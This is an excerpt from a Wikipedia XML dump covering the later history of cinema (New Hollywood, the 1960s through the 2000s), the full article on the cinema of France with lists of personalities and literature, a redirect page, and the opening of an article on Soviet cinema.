'[[New Hollywood|The New Hollywood]]' and 'post-classical cinema' are terms used to describe the period following the decline of the [[studio system]] in the 50s and 60s and the end of the [[production code]]. It is defined by a greater tendency to dramatize such things as sexuality and violence, and by the rising importance of [[blockbuster (entertainment)|blockbuster]] movies.

'Post-classical cinema' is a term used to describe the changing methods of storytelling in the New Hollywood. It has been argued that new approaches to [[drama]] and characterization played upon audience expectations acquired in the classical/Golden Age period: chronology may be scrambled, storylines may feature &quot;twist endings&quot;, and lines between the [[antagonist]] and [[protagonist]] may be blurred. The roots of post-classical storytelling may be seen in ''film noir'', in ''[[Rebel Without a Cause]]'' (1955), and in Hitchcock's storyline-shattering ''[[Psycho]]''.

===The 1960s===
The 1960s saw the increasing decline of the studio system in [[Hollywood]]. Many films were now being made on location in other countries, or using studio facilities abroad, such as [[Pinewood]] in [[England]] and [[Cinecittà]] in [[Rome]]. Hollywood movies were still largely aimed at big family audiences, and it was often the more old-fashioned films that produced the studios' biggest successes. Productions like ''[[Mary Poppins (1964 film)|Mary Poppins]]'' ([[1964]]), ''[[My Fair Lady]]'' ([[1964]]) and ''[[The Sound of Music]]'' ([[1965]]) were among the biggest money-makers of the decade, but American films were losing the creative impetus to [[United Kingdom|British]] and [[European]] film makers. The growth in independent producers and production companies, and the increase in the power of individual actors also contributed to the decline in traditional Hollywood studio production. 

There was also an increasing awareness of foreign language cinema in this period. The late 1950s and 1960s saw the emergence of the [[French New Wave]] with films like ''[[The 400 Blows|Les quatre cents coups]]'' and ''[[Jules et Jim]]'' from directors such as [[François Truffaut]] and [[Jean-Luc Godard]]. [[Italy|Italian]] films like [[Federico Fellini]]'s ''[[La Dolce Vita]]'', and the stark dramas of [[Sweden]]'s [[Ingmar Bergman]] were also making an impact outside their home countries.

In Britain the &quot;Free Cinema&quot; of [[Lindsay Anderson]], [[Tony Richardson]] and others lead to a group of realistic and ground-breaking dramas including ''[[Saturday Night and Sunday Morning]]'', ''[[A Kind of Loving]]'' and ''[[This Sporting Life]]''. Other British films such as ''[[Repulsion]]'', ''[[Darling]]'', ''[[Alfie]]'', ''[[Blow-up]]'' and ''[[Georgy Girl]]'' (all in [[1965]]-[[1966]]) helped to break taboos around sex and nudity on screen, while the casual sex and violence of the [[James Bond]] films, beginning with ''[[Dr. No]]'' in [[1962]] would turn the series into a worldwide phenomenon.

Africans had been denied the right to make movies for decades. In the sixties, however [[Ousmane Sembène]] produced several French- and [[Wolof language|Wolof-language]] films became the 'father' of [[African Cinema]].

In Latin America the dominance of the Hollywood model was challenged by many film makers. Fernando Solanas and Octavio Gettino called for a politically engaged [[Third Cinema]] in contrast to Hollywood and the european auteur cinema.

In [[documentary film]] the sixties saw the blossoming of 
[[Direct Cinema]], an observational style of film making as well as the advent of more overtly partisan films like ''The year of the pig'' about the [[Vietnam War]] by [[Emile de Antonio]].

By the late [[1960s]] however, Hollywood was beginning to claw back some of the creative impetus with films like ''[[Bonnie and Clyde]]'' ([[1967]]), ''[[The Graduate]]'' ([[1967]]), ''[[Midnight Cowboy]]'' ([[1969]]), and ''[[The Wild Bunch]]'' ([[1969]]). ''[[Bonnie and Clyde]]'' is often seen as the beginning of the [[New Hollywood]].

===The 1970s===
The [[1970s]] saw the emergence of a new generation of [[film school]]-trained American film makers, like [[Francis Ford Coppola]], [[Steven Spielberg]] and [[Brian de Palma]]. This coincided with the increasing popularity of the [[auteur theory]] in film literature and the media, a development which gave these directors far greater control over their projects than would have been possible in earlier eras. This lead to some enormous critical and commercial successes, like Coppola's ''[[The Godfather]]'' films, Spielberg's ''[[Jaws (film)|Jaws]]'' and ''[[Close Encounters of the Third Kind]]'' and [[George Lucas]]'s ''[[Star Wars Episode IV: A New Hope]]''. It also, however, lead to some inevitable failures, including [[Peter Bogdanovich]]'s ''[[At Long Last Love]]'' and [[Michael Cimino]]'s ''[[Heaven's Gate (film)|Heaven's Gate]]''. The latter almost single-handledly brought down backer [[United Artists]] following its release in 1980. 

The phenomenal success of ''Jaws'' and ''Star Wars Episode IV: A New Hope'' in particular, lead to the rise of the modern [[blockbuster (entertainment)|blockbuster]], with the Hollywood studios increasingly intent on producing a smaller number of very high budget films with massive marketing and promotional backing. This development has continued to the present day. 

The mid-[[1970s]] had also seen a big increase in adult cinemas and the legal production of [[hardcore pornography|hardcore pornographic]] films in the U.S. ''[[Deep Throat (film)|Deep Throat]]'' and its star [[Linda Lovelace]] became something of a phenomenon  and lead to a spate of similar sex films throughout the decade. These would finally die out with the introduction of [[VCR]] technology in the [[1980s]].

The early '70s also alerted English language audiences to the new [[West German]] cinema, with [[Werner Herzog]], [[Rainer Werner Fassbinder]] and [[Wim Wenders]] among its leading exponents. 

The end of the decade saw the first major international interest in [[Australian]] cinema. [[Peter Weir]]'s films ''[[Picnic at Hanging Rock]]'' and ''[[The Last Wave]]'' and [[Fred Schepisi]]'s ''[[The Chant of Jimmie Blacksmith]]'' gained critical acclaim, while [[George Miller]]'s violent futuristic actioner ''[[Mad Max]]'' was a substantial hit in [[1979]] and marked the beginning of Australian attempts to target the international market.

===The '80s: sequels, blockbusters and videotape===
The shift that occurred in the [[1980s]] from seeing movies in a theater to watching videos on a VCR, is a move close to the original concepts of Thomas Edison. In the early part of that decade, the [[movie studio]]s tried legal action to ban home ownership of VCRs as a violation of [[copyright]], which proved unsuccessful. That proved most fortunate, however, as the sale and rental of their movies on [[home video]] became a significant source of revenue for the movie companies. [[THX|THX Ltd]], a division of [[Lucasfilm]] launched in [[1982]]. [http://www.thx.com/mod/company/milestones.html] [[Martin Scorsese]]'s ''[[Raging Bull]]'' ([[1980]]); ''[[After Hours (movie)|After Hours]]'' ([[1985]]); ''[[The King of Comedy (1983)|The King of Comedy]]'' ([[1983]]).

===The Digital Age===
After the decade of the 1970s helped define the [[blockbuster (entertainment)|blockbuster]] motion picture, the way Hollywood released its films changed.  Now films, for the most part, would premiere in an even wider number of theatres, although, to this day, some movies still premiere using the route of the [[Roadshow theatrical release|limited/roadshow release system]].  Until this new &quot;Digital Age&quot;, the primary way for audiences to see their favorite films again and again was to re-release films.  But the medium of home video would change all of this.

Among the terms most associated with this new era include:

* [[George Lucas]]: The ''[[Star Wars]]'' films
* [[Industrial Light and Magic]]
* [[Steven Spielberg]]: ''[[Jaws (film)|Jaws]]''

===The 1990s: technical advances===
The history of film and video distributed online began in the year 1994 with the first public showing of 
[[Quentin Tarantino]]'s ''[[Pulp Fiction]]''. Influence of [[Comic Books|Comics]]. ''[[Smoke]]'', [[1995]]. In the [[1990s]], cinema began the process of making another transition, from physical film stock to [[digital cinema]] technology. [[Pixar]], ''[[The Matrix]]''.  Meanwhile, in the home video realm, the [[DVD]] would become the new standard for watching movies after their standard theatrical releases.

===The new millennium===
[[Peter Greenaway]]'s ''[[The Tulse Luper Suitcases]]'' takes advantage of new media and high definition technology.   Interactivity of [[PlayStation]],  &amp;, ''[[Grand Theft Auto (series)|Grand Theft Auto]]'' relationship w/cinema: actors, soundtrack, narrative structure. The [[Superhero film]] also began to fully emerge in prominence and more consistent artistic sophistication, notably with the huge success of ''[[X-Men (movie)|X-Men]]'' starting the trend. The [[documentary film]] also rises as a potently commercial genre.  Faster edits. [[home theatre]]. The Lord of the Rings trilogy is released and  innovates many techniques in visual effects, while giving the word &quot;Epic&quot; a whole new meaning. Future: Problems of digital distribution to be overcome -- higher compression, cheaper technology. [[Content security]]. Expiration of copyrights, enforcing copyright.

==The underground==
{{main|underground film}}
Alongside the Hollywood tradition, there has also been an [[underground film]] tradition of low budget, often self-produced works created outside of the studio system and without the involvement of [[labor union]]s.

==Addendum==
&quot;[[Independent film]]&quot; may be defined as any motion picture financed and produced without the aid of a movie studio. These works have contributed to the history of cinema from the early days, and will continue to do so. Notable independent flmmakers include a plethora of diverse auteurs such as [[D. W. Griffith]], 
[[Maya Deren]], [[Orson Welles]], [[Russ Meyer]], [[John Sayles]], [[Jim Jarmusch]], [[John Waters (filmmaker)|John Waters]], and [[Roger Corman]]. 

==See also==
*[[Experimental film]]
*[[Fictional film]]
*[[History of science fiction films]]
*[[List of movie-related topics|List of motion picture-related topics]] (extensive alphabetical listing)
*[[Women's Cinema]]

==References==
===Print===
*Acker, Ally .  ''Reel Women: Pioneers of the Cinema, 1896 to the Present''.  London: B.T. Batsford, 1991.
*Basten, Fred E. ''Glorious Technicolor: The Movies' Magic Rainbow''. AS Barnes &amp; Company, [[1980]].
*Cook, David A.  ''A History of Narrative Film'', 2nd edition.  New York: W.W. Norton, 1990.  ISBN 0-393-95553-2
*Eisner, Lotte H.  ''The Haunted Screen: Expressionism in the German Cinema and the Influence of Max Reinhardt''.  Berkeley &amp; Los Angeles: University of California Press, 1965.
*Eyman, Scott.  ''The Speed of Sound: Hollywood and the Talkie Revolution, 1926-1930''.  New York: Simon &amp; Schuster, 1997.  ISBN 0-684-81162-6
*King, Geoff.  ''New Hollywood Cinema: An Introduction''.  New York: Columbia University Press, [[2002]].
*Merritt, Greg.  ''Celluloid Mavericks: A History of American Independent Film''.  Thunder's Mouth Press, 2001.
*Nowell-Smith, Geoffrey, ed. ''The Oxford History of World Cinema''. Oxford University Press, [[1999]].
*Parkinson, David.  ''History of Film''.  New York: Thames &amp; Hudson, 1995.  ISBN 0-500-20277-X
*Rocchio, Vincent F.  ''Reel Racism. Confronting Hollywood's Construction of Afro-American Culture''.  Westview Press, 2000.
*Schrader, Paul.  &quot;Notes on Film Noir.&quot;  ''Film Comment'', 1984.
*Thackway, Melissa.  ''Africa shoots back: Alternative perspectives in sub-saharan francophone african film''.  Indiana University Press, 2003.
*Unterburger, Amy L.  ''The St. James Women Filmmakers Encyclopedia: Women on the Other Side of the Camera''.  Visible Ink Press, 1999.

===Digital video===
*''Glorious Technicolor''; directed by Peter Jones. Based on the book (above); written by Basten &amp; Jones. Documentary, ([[1998]]).

===External links===
*[http://www.precinemahistory.net/index.html The Complete History of the Discovery of Cinematography (prehistory to 1900)]
*[http://www.widescreenmuseum.com/widescreen/early-jan1930.htm American Cinematographer - January, 1930, THE EARLY HISTORY OF WIDE FILMS]
*[http://www.saunalahti.fi/animato/filmhist/filmhist.html History of Film Formats]
*[http://www.widescreenmuseum.com/oldcolor/technicolor1.htm Technicolor History]
*[http://brightbytes.com/cosite/what.html What is a Camera Obscura?]
*[http://www.filmsound.org/film-sound-history/ Film Sound History]
*[http://www.earlycinema.com/index.html An Introduction to Early cinema]
*[http://www.eonline.com/Features/Specials/Jews/ Ben Stein talks about the very large Jewish element in Hollywood]
*[http://www.realityfilm.com/study/index.html Reality Film]
*[http://www.filmsite.org/filmh.html Film History by Decade] *popup warning*

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[[Category:History of film| ]]

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  <page>
    <title>Cinema of France</title>
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      <text xml:space="preserve">{{EuropeanCinema}}
[[France]] has been influential in the development of [[film]] as a [[mass medium]] and as an art form.

==History==
===Late 19th century to early 20th century===
In the late [[19th century in film|19th century]], during the early years of cinema, France produced several important pioneers. [[Auguste and Louis Lumière]] invented the [[cinématographe]] and their screening of ''L'Arrivée d'un train en gare de la Ciotat'' in [[Paris]] in [[1895 in film|1895]] is marked by many historians as the official birth of cinema. During the next few years, filmmakers all over the world started experimenting with this new medium, and France's [[Georges Méliès]] was influential. He invented many of the techniques now common in the cinematic language, and made the first ever [[science fiction film]] ''[[A Trip to the Moon]]'' (Le Voyage dans la Lune, [[1902 in film|1902]]).

Other early individuals and organizations of this period included [[Gaumont Film Company|Gaumont Pictures]] and [[Pathé Frères]]. [[Alice Guy Blaché]] was one of the first pioneers in cinema. She made her first film in [[1896 in film|1896]],  ''[[La Fée aux Choux]]'', and was head of production at Gaumont [[1897 in film|1897]]-[[1906 in film|1906]], where she made in total about 400 films. Her career continued in the United States. Another pioneer who worked in France and in the United States was [[Maurice Tourneur]]. 

During the period between [[World War I]] and [[World War II]], [[Jacques Feyder]] became one of the founders of [[poetic realism]] in French cinema.

Beginning in [[1935 in film|1935]], renowned playwright and actor [[Sacha Guitry]] directed his first film. He made more than 30 films that are seen as the precursor to the new wave era.

In [[1937 in film|1937]] [[Jean Renoir]], the son of famous painter [[Pierre-Auguste Renoir]], directed what many see as his first masterpiece, ''[[The Grand Illusion (movie)|La Grande Illusion (The Grand Illusion)]].''  In [[1939 in film|1939]] Renoir directed ''[[The Rules of the Game|La Règle du Jeu]]'' (The Rules of the Game).  Several movie critic's have cited this film as one of the [[Films that have been considered the greatest ever|greatest of all-time]].

[[Marcel Carne]]'s ''[[Children of Paradise|Les Enfants du Paradis (Children of Paradise)]]'' was filmed during [[World War II]] and released in [[1945 in film|1945]].  The three hour film was extremely difficult to make due to the conditions during the Nazi occupation.  Set in Paris in 1828, the film was voted &quot;Best French Film of the Century&quot; in a poll of 600 French critics and professionals in the late [[1990s in film|1990s]].

===Post-World War II: [[1940s in film|1940s]]-[[1970s in film|1970s]]===
In the critical magazine ''[[Cahiers du cinéma]]'' founded by [[André Bazin]], critics and lovers of film would discuss film and why it worked. Modern [[film theory]] was born there. Additionally, ''Cahiers'' critics such as [[Jean-Luc Godard]], [[François Truffaut]], [[Claude Chabrol]], etc. went on to make films themselves, creating what was to become known as the French ''[[French new wave|New Wave]]''. Some of the first movies of this new genre was Truffaut's ''[[The 400 Blows]]'' (Les Quatre Cent Coups, [[1959 in film|1959]]) starring [[Jean-Pierre Léaud]] and Godard's ''[[Breathless]]'' (À bout de souffle, [[1960 in film|1960]]), starring [[Jean-Paul Belmondo]].

====Personalities from this period====
*[[André Bazin]] Editor of [[Cahiers de cinema]]
*[[Brigitte Bardot]] (actor)
*[[Jacques Becker]] Director
*[[Sarah Bernhardt]]
*[[Robert Bresson]] Director
*[[René Clément]] Director
*[[Claude Chabrol]] Director
*[[Maurice Chevalier]]
*[[Henri-Georges Clouzot]]Director
*[[Jean Cocteau]]
*[[Anatole Dauman]] Producer
*[[Henri Decae]] Cinematographer
*[[Jacques Demy]] Director
*[[Jean Eustache]] Director
*[[Jean-Luc Godard]] Director
*[[Henri Langlois]]
*[[Claude Lelouch]] Director
*[[Louis Malle]] Director
*[[Marcel Marceau]]
*[[Chris Marker]] Director
*[[Jeanne Moreau]] Actor
*[[Michel Piccoli]] Actor
*[[Guy Debord]] Critic
*[[Jean Renoir]] Director
*[[Alain Resnais]]Director
*[[Jacques Rivette]]
*[[Éric Rohmer]] Director
*[[Viviane Romance]]
*[[Jacques Tati]] (actor, comedian)
*[[Jean-Louis Trintignant]] (actor)
*[[François Truffaut]] Director
*[[Roger Vadim]] (director)
*[[Agnès Varda]] Director
*[[Jean Vigo]] Director

===[[1980s in film|1980s]]===
When [[Jean-Jacques Beineix]] made ''[[Diva]]'' ([[1981 in film|1981]]) it sparked the beginning of the 80s wave of French cinema. Movies which followed in its wake included ''[[Betty Blue]]'' (37°2 le matin, [[1986 in film|1986]]) by Beineix, ''The Big Blue'' (Le Grand bleu, [[1988 in film|1988]]) by [[Luc Besson]] and ''[[The Lovers on the Bridge]]'' (Les Amants du Pont-Neuf, [[1991 in film|1991]]) by [[Léos Carax]].

===[[1990s in film|1990s]]===
In 1991, [[Jean-Pierre Jeunet]] made ''[[Delicatessen (movie)|Delicatessen]]'', followed by the [[1995 in film|1995]] ''[[The City of Lost Children]]'' (La Cité des enfants perdus).  Both films featured a distinctly fantastic style.

In the mid-1990s, [[Krzysztof Kieślowski]] released his ''Three colors'' trilogy, ''[[Three Colors: Blue|Blue]]'', ''[[Three Colors: White|White]]'' and ''[[Three Colors: Red|Red]]''.
[[Mathieu Kassovitz]]'s film ''Hate'' ([[La Haine]], 1995) made [[Vincent Cassel]] into a star.

In [[2001 in film|2001]] after a brief stint in [[Hollywood]] with the fourth [[Alien (movie)|Alien]] film (''[[Alien: Resurrection]]''), Jeunet returned to France with ''[[Amélie]]'' (''Le fabuleux destin d'Amélie Poulain'') starring [[Audrey Tautou]] and Kassovitz.

==Current situation==
As the advent of [[television]] threatened the life of [[film|cinema]] itself, countries were faced with the problem of reviving cinema-going. The French cinema market, and more generally the French-speaking market, is smaller than the English-speaking market, one reason being that some major markets such as the [[United States]] are fairly reluctant to import foreign movies. As a consequence, French movies have to be amortized on a relatively small market and thus generally have budgets far lower than their American counterparts, ruling out expensive settings and [[special effect]]s. Interestingly, the once prospering filmmaking industry of countries such as [[Italy]] has now largely been eliminated. The French government has therefore implemented various measures aimed at supporting local film production and movie theaters, including:
* the [[Canal Plus]] TV channel has a broadcast license imposing that it should support the production of movies;
* some taxes are levied on movies and TV channels for use as subsidies for movie production;
* some tax breaks are given for investment in movie productions;
* the sale of [[DVD]]s and [[videocassette]]s of movies shown in theaters is prohibited for six months after the showing in theaters, so as to ensure some revenue for movie theaters.

==Notable contemporary French cinema personalities==
&lt;!-- this should be split off into a separate [[List of French cinema personalities]] or somesuch pretty soon --&gt;

===Actors===
*[[Isabelle Adjani]]
*[[Renee Adoree|Renée Adorée]]
*[[Anouk Aimée]]
*[[Mathieu Amalric]]
*[[Fanny Ardant]]
*[[Jean-Pierre Aumont]]
*[[Daniel Auteuil]]
*[[Charles Aznavour]]
*[[Emmanuelle Béart]]
*[[Monica Bellucci]]
*[[Juliette Binoche]] &amp;mdash; [[Academy Award]] winner for her role in ''[[The English Patient (film)|The English Patient]]''
*[[Bernard Blier]]
*[[Bourvil]]
*[[Charles Boyer]]
*[[Capucine]]
*[[Leslie Caron]]
*[[Vincent Cassel]]
*[[Aurore Clément]]
*[[Claudette Colbert]]
*[[Valérie Crunchant]]
*[[Alain Delon]]
*[[Julie Delpy]]
*[[Catherine Deneuve]]
*[[Gérard Depardieu]]
*[[Jérémie Elkaïm]]
*[[Fernandel]]
*[[Louis de Funès]]
*[[Judith Godrèche]]
*[[Eva Green]]
*[[Isabelle Huppert]]
*[[Irène Jacob]]
*[[Virginie Ledoyen]]
*[[Sophie Marceau]], Princess Isabelle in ''[[Braveheart]]'', a [[Bond girl]]
*[[Jean Marais]]
*[[Mistinguett]]
*[[Jean Reno]]
*[[Stéphane Rideau]]
*[[Ludivine Sagnier]]
*[[Emmanuelle Seigner]]
*[[Simone Signoret]]
*[[Audrey Tautou]]
*[[Marie Trintignant]]
*[[Michael Vartan]]
*[[Hervé Villechaize]]

===Directors===
*[[Jean-Jacques Annaud]]
*[[Olivier Assayas]]
*[[Luc Besson]]
*[[Bertrand Blier]]
*[[Catherine Breillat]]
*[[Robert Bresson]]
*[[Léos Carax]] 
*[[Yves Caumon]]
*[[Jean-Paul Civeyrac]]
*[[Arnaud Desplechin]]
*[[Jean Eustache]]
*[[Abel Gance]]
*[[Michel Gondry]]
*[[Jean-Pierre Jeunet]]
*[[Mathieu Kassovitz]]
*[[Jan Kounen]]
*[[Patrice Leconte]]
*[[Louis Malle]]
*[[André Malraux]]
*[[Gaspar Noé]]
*[[François Ozon]]
*[[Maurice Pialat]]
*[[Agnès Varda]]

===Literature===
*Armes, Roy. 1985. French Cinema. London: Secker and Warburg
*Aumont, Jaques. 2000 2nd ed. 'The Fall of the Gods: Jea-Luc *Godard's Le Mepris (1963). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Austen, Guy. 1996. Contemporary French Cinema. Manchester: Manchester University Press
*Boston, Richard. Boudu Saved From Drowning. London: BFI
*Burch, Noel and Sellier, Genevieve. 2000. 'Evil Women in the Post-war French Cinema'. Sieglohr, Ulrike.ed. Heroines Without Heroes. London: Cassell
*Condron, Anne Marie. 1997. ''Cinema' . Perry, Sheila.Ed. Aspects of Contemporary France London : Routledge
*Darke, Chris. 2005.''Alphaville''. London: I. B. Tauris. ISBN 1854039869
*Douchet, Jean. 1999. French New Wave. New York: Distributed Art Publishers
*Flitterman-Lewis, Sandy. 1996. To Desire Differently: Feminism and the French Cinema. New York: Columbia University Press
*Forbes, Jill. 2000. 'La Haine'. In Forbes, Jill and Street, Sarah. European Cinema: An Introduction. London: Palgrave
*Forbes, Jill. Les Enfants du Paradise. London: BFI
*Forbes , Jill.  1992 . The Cinema in France After the New Wave. Basingstoke : Macmillan
*Gillain, Anne. 2000 2nd ed. 'The Script of Delinquency: Francois Truffaut's Les 400 coups' (1959). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Graham , Peter. 1997. ' New directions in French Cinema'. Nowell - Smith Geoffrey Ed : Oxford History of World Cinema :Oxford: Oxford University Press 
*Greene, Naomi. Landscapes of Loss: The National Past in Postwar French Cinema. Princeton: Princeton University Press
*Hayes, Graeme. 1999. 'Representation, Masculinity, Nation: The Crises of Les Amant du Pont-Neuf (Carax 1991).' Powrie, Phil. Ed. French Cinema in the 1990s: Continuity and Difference. Oxford: OUP
*Hayward, Susan. 2000 2nd ed. 'Beyond the Gaze and into femme filmcriture: Agnes Varda's Sans toit ni loit'. Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Hayward, Susan. 1993. French National Cinema. London: Routledge
*Hayward, Susan. 2005. ''Les Diaboliques''. London: I. B. Tauris. ISBN 1845111028 
*Hayward, Susan. 2002. 'Luc Besson'. Tasker, Yvonne. ed. Fifty Contemporary Filmmakers : Routledge: London 
*Hayward, Susan. 2000 2nd ed. 'Recycled woman and the postmodern aesthetic: Luc Besson's Nikita (1990). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Hayward, Susan and Vincendeau, Ginette.eds. 2000 2nd ed. French Film: texts and contexts. London: Routledge
*Hughes, Alex and Williams James S. Eds. 2001. Gender and French Cinema. Oxford: Berg 
*Hughes, Alex and Williams, James S. 2001. ' Introduction'. Hughes, Alex and Williams, James S. Eds. Gender and French Cinema. Oxford: Berg
*Jackel, Anne. 1996. ' European Co-production Strategies: the Case of France and Britain'. Moran, Albert Ed. Film Policy. London: Routledge
*Jackson, Julian. 2001. France the Dark Years. Oxford: Oxford University Press
*Jeancolas, Jean-Pierre. 2000 2nd ed. 'Beneath the despair, the show goes on: MarcelCarne's Les Enfants du paradis (1943-45). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Kaplan, Nelly. Napoleon. London: BFI
*Kedward, H. R. 2000.'The Anti-Carnival of Collaboration'. Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Konstantarakos, Myrto. 1999.'Which Mapping of the City? La Haine (Kassovitz, 1995) and the cinema de banlieue.' Powrie, Phil. Ed. French Cinema in the 1990s: Continuity and Difference. Oxford: OUP
*Lanzoni, Remi. 2002. French Cinema: From Its Beginnings to the Present. London: Continuum
*Leahy Sarah and Hayward Susan. 2000. 'The Tainted Woman: Simone Signoret, Site of Pathology or Agent of Retribution? Sieglohr, Ulrike.ed. Heroines Without Heroes. London: Cassell
*Marie, Michel. 2003. (Trans Neupert) The French New Wave, an Artistic School. Oxford: Blackwell
*Marie, Michel. 2000 2nd ed. '&quot;It really does make you sick!': Jean-Luc Godard's a bout de souffle (1959)&quot;. Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*MacCabe, Colin.2003.''Godard a portrait of the artist at 70''.London: Bloomsbury  
*Morrey, Douglas. 2005. Jean-Luc Godard. Manchester: Manchester University Press. ISBN 0-7190-6759-6 
*Neupert, Richard.2002. A History of the French New Wave Cinema. Madison: University of Wisconsin Press
*Perry, Sheila.Ed.1997. Aspects of Contemporary France. London : Routledge 
*Powrie, Phil. Ed. 1999. French Cinema in the 1990s: Continuity and Difference. Oxford: OUP
*Powrie, Phil. 1999. 'Heritage, History, and 'New Realism': French Cinema in the 1990s'. Powrie, Phil. Ed. French Cinema in the 1990s: Continuity and Difference. Oxford: OUP
*Powrie, Phil. 2002. 'Jean-Jaques Beneix'. Tasker, Yvonne. Ed  Fifty Contemporary Filmakers. London: Routledge
*Predal, R. 1991 Le Cinema Francais depuis 1945. Paris Nathan
*Reader, Keith. 2002. 'Laisser-passer'. Sight and Sound Volume 12 Issue 11, pp 49-50
*Sellier, Genevieve. 2001. 'Gender, Modernism and Mass Culture in the New Wave.' Hughes, Alex and Williams, James S. Eds. Gender and French Cinema. Oxford: Berg
*Sorlin, Pierre. 2000 2nd ed. 'A breath of sea air: Jacques Tati's Les Vacances de Monsieur Hulot (1952). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Tarr, Carrie. 1999. 'Ethnicity and Identity in the cinema de banlieue'. Powrie, Phil. Ed.  French Cinema in the 1990s: Continuity and Difference. Oxford: OUP
*Thompson, David. 2003. 'Lust for Life'. Sight and Sound. August Vol 13 / Issue 8, pp 30-33
*Vincendeau, Ginette. 2003.  'Ageing Cool'. Sight and Sound. September, Vol 13 Issue 9 pp 26-28
*Vincendeau, Ginette. 2000 2nd ed. 'Designs on the banlieu: Mathieu Kassovitz's La Haine (1995). Hayward, Susan and Vincendeau, Ginette.eds. French Film: texts and contexts. London: Routledge
*Vincendeau, Ginette. 2003. Jean-Pierre Melville. London: BFI
*Vincendeau, Ginette. 1998. Pepe le Moko. London: BFI
*Vincendeau, Ginette. 1997. 'The Popular Art of French Cinema'. Nowell - Smith Geoffrey Ed : Oxford History of World Cinema :Oxford: Oxford University Press
*Vincendeau, Ginette. 2000. Stars and Stardom in French Cinema. London: Continuum
*Vincendeau, Ginette. 'White Collar Blues'. Sight and Sound Volume 12 Issue 4, pp 30-32.  ( on Laurent Cantet)
*Warner, Mary. 1993. L'Atalante. London : BFI
*Williams, Alan. 1992. Republic of Images: A History of French Filmaking. Cambridge Mass. : Harvard

==External links==
*[http://www.bestfrenchfilms.com/ Best French Films] Reviews of some of the best French movies ever made
*[http://www.afdesacramento.org/filmfest/ Sacramento French Film Festival] An annual festival featuring the best of new and classic French cinema

==See also==
*[[History of cinema]]
*[[Culture of France]]
*[[List of French language films]]

[[Category:Cinema of France]]

[[fr:Cinéma français]]
[[hu:Francia film]]
[[ja:フランス映画]]
[[pt:Cinema da França]]</text>
    </revision>
  </page>
  <page>
    <title>Film history/Germany</title>
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    <revision>
      <id>15908580</id>
      <timestamp>2003-09-25T06:32:55Z</timestamp>
      <contributor>
        <username>ThereIsNoSteve</username>
        <id>23090</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cinema of Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of the Soviet Union</title>
    <id>10786</id>
    <revision>
      <id>42143018</id>
      <timestamp>2006-03-04T02:37:23Z</timestamp>
      <contributor>
        <username>Fizzerbear</username>
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      </contributor>
      <minor />
      <comment>/* 1960s-70s */</comment>
      <text xml:space="preserve">&quot;Soviet Cinema&quot; should not be used as a synonym for &quot;Russian Cinema&quot;. Although [[Russian language]] films predominated, several of the constituent [[republics of the Soviet Union]] contributed films reflecting elements of their pre-Soviet culture, language and history, although sometimes censored by the Central Government. Most notable for their republican cinema were [[Armenian SSR]], [[Georgian SSR]], [[Ukrainian SSR]], and, to a lesser degree, [[Lithuanian SSR]], [[Byelorussian SSR]] and [[Moldavian SSR]].  At the same time, the nation's film industry, which was fully nationalized throughout most of the country's history, was guided by philosophies and laws propounded by the monopoly Soviet Communist Party which introduced a new view on the cinema, which was different from the one before or after the existence of the Soviet Union. [[Image:Bronenosets.jpg|thumb|300px|A [[1926]] Soviet poster for ''[[The Battleship Potemkin]]''.]]

== Historical outline==

The new state, the [[Soviet Union]], officially came into existence on [[November 7]], [[1917]].  From the outset, it was held that film would be the most ideal propaganda tool for the Soviet Union because of its mass popularity among the established citizenry of the new land; [[V. I. Lenin]], in fact, declared it the most important medium for educating the masses in the ways, means and successes of Communism, a position which was later echoed by [[Joseph Stalin]].  Meanwhile, between [[World War I]] and the [[Russian Revolution of 1917|Russian Revolution]], most of the film industry, and the general infrastructure needed to support it (e.g. electrical power), was in a shambles.  The majority of cinemas had been in the corridor between [[Moscow]] and St. Petersburg in Russia, and most were out of commission.  Additionally, many of the performers, producers, directors and other artists of pre-Soviet Russia, had fled the country or were moving ahead of the [[Red Army]] forces as they pushed further and further south into the remainder of the [[Imperial Russia|Russian Empire]].  Furthermore, the new government did not have the funds to spare for an extensive reworking of the system of filmmaking.  Thus, they initially opted for project approval and censorship guidelines while leaving what of the industry remained in private hands.  As this amounted mostly to [[movie theater|cinema houses]], the first Soviet films consisted of recycled films of the Russian Empire and its imports, to the extent that these were not determined to be offensive to the new Soviet [[ideology]].  Ironically, the first new film released in the [[Soviet Union]] did not exactly fit this mold:  this was &quot;[[Otets Sergii]]&quot;, in English &quot;Father Sergius&quot;, a religious film completed during the last weeks of the Russian Empire but not yet exhibited.  It appeared on Soviet screens in [[1918]]. [[Image:Orlova bw.jpg|thumb|[[Lubov Orlova]], the most glamorous star of Stalinist cinema.]]

Beyond this, the government was principally able to fund only short, educational films, the most notorious of which were the [[agitki]] - propaganda films intended to &quot;agitate&quot;, or energize and enthuze, the masses to participate fully in approved Soviet activities, and deal effectively with those who remained in opposition to the new order.  These short (often one small reel) films were often as not visual aids and accompaniments to live lectures and speeches, and were carried from city to city, town to town, village to village (along with the lecturers) to indoctrinate the entire countryside, even reaching areas where film had not been previously seen.  

Newsreels, as documentaries, were the other major form of earliest Soviet cinema.  [[Dziga Vertov]]'s newsreel series ''Kino-Pravda'', the best known of these, lasted from [[1922]] to [[1925]] and had a propagandistic bent; Vertov used the series to promote [[Socialist realism]] but also to experiment with cinema. 

